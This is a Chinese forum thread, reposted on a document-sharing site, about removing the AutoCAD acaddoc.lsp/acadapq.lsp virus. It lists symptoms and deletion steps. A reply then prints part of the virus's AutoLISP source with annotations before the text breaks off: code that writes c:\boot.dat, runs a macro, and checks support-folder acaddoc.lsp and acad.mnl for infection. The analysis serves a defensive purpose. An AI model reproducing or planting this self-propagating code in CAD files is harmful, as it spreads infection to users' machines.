AUTOCAD病毒的清除方法acaddoc.lsp和acadapq.lsp
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
AUTOCAD病毒的清除方法
acaddoc.lsp是一个专门针对CAD文件的病毒,在CAD软件
使用中主要表现的情况如下:
1、无法拷贝
2、在命令行提示需要执行一个宏
3、CAD会出莫名其妙的问题
解决方法:
关闭AutoCAD程序;
搜索所有acaddoc.lsp和acadapq.lsp文件
删除所有关acadapq.lsp(3,836字节) 和被感染的
acaddoc.lsp(27字节) (看文件大小);
重启AutoCAD,OK
ashan发表
LZ还说少了一个步骤:没有处理acad.mnl文件,这样的清除并不彻底,下次再打开带毒的dwg文件(这里并非指dwg文件本身带毒,而是指在该dwg文件下有acaddoc.lsp文件存在)后,系统又会感染病毒,偶曾经对这个cad病毒的代码做过详细分析,下面是原文,有兴趣的朋友可以详细看看:
最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下:
-----------------下面是病毒代码-----------------------------
(setq wold_cmd (getvar "cmdecho"))
(setvar "cmdecho" 0)
(setq wpath (findfile "base.dcl"))
(setq wpath (substr wpath 1 (- (strlen wpath) 8))) ;wpath变量保存ACAD下support目录路径
(setq wwmnlwpath (getvar "menuname")) ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量
(setq wnowdwg (getvar "dwgname")) ;获得当前打开图形文件名
(setq wwjqm (findfile wnowdwg)) ;wwjqm变量保存当前打开图形文件的完整路径
(setq wdwgwpath (substr wwjqm 1
( - (strlen wwjqm) (strlen wnowdwg)))) ;wdwgwpath变量保存当前打开图形文件所在路径
;;;alert
( setq f ( open "c:\\boot.dat" "w")) ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则
(write-line "[dang]" f) ;打开,不存在则创建,然后将当前打开图形文件所在路径和support
(write-line (strcat "ff=" wdwgwpath) f) ;目录路径写入boot.dat文件
(write-line (strcat "yy=" wpath) f)
(close f)
(setq boot (findfile "boot.dat")) ;获得boot.dat文件所在目录完整路径
(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh")) ;这句是要运行一个名为“ThisDrawing.hh”的宏,但该宏并不存在
(setq wacadwpath (findfile "acaddoc.lsp")) ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录
(setq wacadwpath (substr wacadwpath 1
(- (strlen wacadwpath) 11)))
(setq wns1 "" wns2 "")
(setq wlspbj 0) ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的
;;; ;标志,已感染为1,未感染为0
(setq wwjqm (strcat wpath "acaddoc.lsp")) ;wwjqm变量指向support目录下的acaddoc.lsp文件
(if (setq wwjm (open wwjqm "r")) ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄,若打开
(progn ;成功则进行处理
(while
(setq wwz (read-line wwjm)) ;逐行读取acaddoc.lsp文件内容,读取结束后,wns1中是倒数第2行
(setq wns1 wns2 ) ;内容,wns2中是最后一行的内容
(setq wns2 wwz)
)
(if (> (strlen wns1) 14) ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,
(if (= (substr wns1 8 7) "acadapq") ;若是则已感染
(setq wlspbj 1)
)
)
(close wwjm)
)
)
(setq wlspmnl 0) ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志,
;;; ;已感染为1,未感染为0
(setq wwjqm (strcat wpath "acad.mnl")) ;wwjqm变量指向support目录下的acad.mnl文件
(if (setq wwjm (open wwjqm "r" )) ;wwjm变量为打开support目录下的acad.mnl文件的句柄,若打开
(progn ;成功则进行处理
(while (setq wwz (read-line wwjm)) ;逐行读取acad.mnl文件内容,读取结束后,wns1中是倒数第2行内容